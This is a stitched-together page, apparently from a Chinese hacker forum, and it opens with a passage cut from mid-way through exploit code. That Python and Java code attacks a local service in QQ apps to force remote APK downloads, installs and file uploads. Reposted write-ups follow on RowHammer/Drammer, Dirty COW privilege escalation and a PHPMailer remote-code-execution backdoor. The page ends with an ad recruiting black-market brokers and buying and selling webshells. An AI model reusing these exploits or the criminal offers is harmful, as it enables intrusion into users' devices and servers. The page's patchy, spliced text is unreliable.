    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    return e_scheme.decrypt(b)
def req(payload):
    headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
    try:
        r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
        r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)                       
    except:
        print "Error"
    print r.status_code
    print r.content
    if r != '':
        print decode_(r.content)
    print r.headers
if __name__ == "__main__":
    stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
    stage2 = encode_(stage1)
    req(stage2)

2、远程下载、安装应用。

01
02
03
04
05
06
07
08
09
10
11
12
String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
            + "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
            + "'autoOpen':'true',"
            + "'installBySys':'false',"
            //+ "'fileFolderPath':'',"
            + "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
            + "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);

3、其他如上传文件等均可执行。

1
2
3
4
String fileContent=Util.readFileByLines("D:\迅雷下载\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload? uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));

修复方案

结合这两款应用的应用场景发现,在鉴权方面并没有多大的修复空间(这两款应用都通过2次的3DES加密交换uuid,对第三方接入进行鉴权)。因此,我们建议开发者在第三方接入时,给用户必要的交互提示警告,确保经过用户授权才可以调用相关接口,从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现,有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。

5

其中QQ浏览器的影响比较大,测试发现包括最新版的很多版本都受这个漏洞的影响。

6

通杀所有系统的硬件漏洞?中国骇客云平台教你如何使用Drammer,Android上的RowHammer攻击更多关注我们。

大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞。此洞可以说是个神洞,通过dirtycow,一个普通权限的app可以做到root权限的文件任意写,随后还可以转化为android上的通用root。就在大家纷纷埋头研究dirtycow的时候,Drammer横空出世,号称也可以root最新版的Android 6.0.1,同时还放出了CCS论文(https://vvdveen.com/publications/drammer.pdf)和POC(https://github.com/vusec/drammer)。

■那么这个Drammer到底是什么东西呢?

Drammer可以说是一种针对android设备的攻击方式,利用的是内存芯片设计上的一个缺陷。然而,这个问题并不是只出现在Android系统上,而是所有使用内存的系统都会出现这个问题。最早提出这种攻击方式的人是卡内基梅隆大学的Yoongu Kim写的一篇paper -《Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors》(https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf) 在这篇文章中,作者提到有个有趣的现象,如果不断的访问两个具有”侵略者”性质的虚拟地址会让一个具有”受害者”性质的内存数据进行位翻转,更神奇的是这个具有”受害者”性质的内存可能会在当前进程可访问的虚拟地址以外。

出处:www.hackerschina.org

为什么会有这种现象呢?

原因是内存厂商为了能让内存芯片存储更多的数据,于是将内存中的DRAM(The Dynamic Random Access Memory)cell越做越小并且离的越来越近,从而导致相邻的cell在通电的过程中会受到影响。因此,如果我们不断的访问某个位置上的内存,就可能会造成相邻的内存进行位翻转。随后google project zero还通过PC上的linux提权,证明了这种现象的确存在并且可以用来进行攻击(https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html)并将这种攻击方式称为RowHammer。因此,这次出现的drammer是受之前研究的启发,从而实现了Android上的rowhammer攻击,所以drammer全称其实是DRoid and rowhAMMER。

在Android上,整个攻击的基本思路是:1. 先找到用户态可以flush内存的api,比如Android上的ION。2. 然后利用这个api配合上FLIP FENG SHUI技术进行rowhammer攻击。目的是位翻转Page Table Entry (PTE)并让其指向一个攻击者可以控制的内存上。3. 修改PTE从而控制整个物理内存。配合其他漏洞还可以做到远程攻击(DEMO:https://www.vusec.net/projects/drammer/)。

原来硬件上设计的缺陷还会出现这种问题,是不是感觉脑洞已经快要爆炸了。并且这次的攻击与操作系统和软件无关,纯粹是硬件上的漏洞导致的。因此,不光是linux和Android,Windows, OS X和iOS应该也是受影响的。唉,May god bless all electronic devices.

Linux内核通杀提权漏洞【中国骇客云联盟0day漏洞联盟最新0day尽在本站欢迎关注】

 


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:Linux写拷贝污染(也叫:脏牛(Dirty COW))

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(包括Pc与Android)

 

漏洞相关细节

 

到目前为止,该漏洞的利用程序尚未公布。该漏洞由于get_user_pages()的条件竞争漏洞导致。没有什么办法能够保证handle_mm_fault()一定能够触发COW条件-如果另一个线程结束并以某种方式修改了页表,handle_mm_fault()将会终止,我们需要重试这个操作。这还算好的,get_user_pages()最后是尝试读取操作,因此理论上写访问结束时会丢失已经污染的位或者一个内存页上没有适合COW的地方。这让get_user_pages()总是尝试写访问由于”follow_page()”产生的写访问需要一个可写的污染位集合。这简化了解决竞争的代码:如果COW由于某些原因执行失败了,我们只需要不断重复执行。

  提交者在11年前就尝试修复这个古老的漏洞,提交编号4ceb5db9757a(“修复get_user_pages()的写访问竞争”),但是后来由于s390问题又回滚了,提交编号f33ea7f404e5(“修复get_user_pages漏洞”)。
  同时,s390已经修复很久了,现在我们能够通过适当的校验pte_dirty()位来修复。s390污染位已经在abf09bed3cce 中实现了((“s390/mm:实现软件污染位”)。更好的内核需要自行查看内存页。
   同样,VM的扩展性变得更好,并且使用了一个更好的竞争使得触发更容易。
   为了修复它,我们引入一个新的内部FOLL_COW标志来标记“yes,我们已经做了一次写拷贝了”来取代与FOLL_WRITE之间的竞争游戏,然后使用pte污染标记去校验FOLL_COW标记是否仍然生效。

 

  漏洞验证
  将代码下载到本地后,使用gcc进行编译。
  根据源码的注释,可以看出利用poc将foo文件的内容进行篡改。
  同理只要把/etc/passwd中低权限用户的 uid改成 0 ,后面这个低权限用户就可以以 root权限登录了。

如何修复漏洞


Linux团队正在积极的修复此漏洞;

普通用户可以通过系统更新到最新发行版修复此漏洞;

软件开发人员也可以通过

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

Adobe Flash播放器最新零日漏洞【中国骇客联盟0day漏洞发布网】

客通过分析最近意大利监控软件厂商泄漏的文件,发现Adobe Flash播放器存在第2个零日漏洞,同时他们还发现了Windows中的一个零日漏洞。Adobe Flash播放器第一个零日漏洞周二被确定后,不到两天时间,黑客就利用这个漏洞抓取了意大利监控软件厂商400GB有价值的文件,其中包括向世界各地政府机构销售计算机监控和入侵工具的文件,电子邮件通讯,商业文件,源代码和其他内部数据。

安全厂商FireEye已经公布了 Adobe Flash播放器第二个零日漏洞,Adobe已经确认这个漏洞存在,Adobe上周五表示,它计划在下周修补它。趋势科技研究人员表示,新漏洞影响Windows,Mac和Linux最新版本的Flash播放器,并可以很容易地加载执行恶意代码。

PHPMailer 5.2.17 – Remote Code Execution 中国骇客云漏洞发布

坦白的说,看到限制条件就觉得不爱了,搞得上班还迟到.就是没有注意看条件.要是直接docker运行多好。
Before this commit in class.phpmailer.php in a certain scenarion there is no filter in the sender’s email address special chars. This flaw can lead to a remote code execution, via mail function here.

To trigger this code, you need:

So you can bypass the sender’s email validation on validateAddress function, settingpatternselect to noregex. To make easier to archieve such environment without having to setup PHP like this I just hardcoded it this code.
作者是本地进行调试的

测试漏洞的代码

利用代码

After the exploitation, a file called backdoor.php will be stored on the root folder of the web directory. And the exploit will drop you a shell where you can send commands to the backdoor:

更新一个phithon的payload

执行:

官方2017.1.16公告!将进行文章漏洞发布等的功能详情请点击以下内容!

尊敬的朋友们大家好,欢迎关注我们的官方网站在近期网站频繁不能进行访问,在2017年我们将实现以下业务。

1.我们将全面发布0day漏洞有关信息。

2.我们将整合和修复骇客云中不能正常的使用功能(会员如果发现BUG以及不能正常使用的功能及时联系官方微信客服解决,一般解决时间为24小时以内,我们会通过邮箱以及官微通知您。)

3.业务招聘:黑产中介,一手webshell出售以及收购,黑产业链条团队等!如果您感兴趣请联系我们的客服微信帐号:2221018181   认证说明:骇客云黑产 ,官方会添加您否则一律不不通过。

4.个人版xss上线以后非常的给力具体截图我们就不发布了。可以实现时时的xss回馈等的功能。

5.骇客云的通知:因为 国内某些功能为非法功能,我们只能依托于其他国家服务器或者接口,所以我们只能进行Ip代理,国外服务器,vpn等正常使用功能(如:社工裤。)

6.骇客云中的所有功能均为免费,所以会员们不需要担心收费问题,我们真诚的希望与您一起发展。

7.建站方面:我们拥有建站顶级团队,所以需要建站的朋友(黑客站,教育站,政府站,赌博站,服务站,|“瑟情”站,)我们都可以建,我们的服务团队包括售后,技术,黑产中介以及其他,所以如果您需要请和我们联系。

在新的一年里祝福大家高高兴兴过年,开开心心回家,我们 在过去的五年中..从华夏网盟(当时站点比华夏网管联盟还大?不知道还有人记得吗?虽然已经停止开放域名被废)再到红盟科技,再到寒龙云病毒站点,社工库(真心小的可怜)再到现如今的骇客云端,我们经历了很多,希望在接下来的时间我们会过的更好,把祝福送给大家,也送给我自己。非常感谢您再次支持我们的站点,在新的一年里能支持我们。

 

___________________________BY:寒龙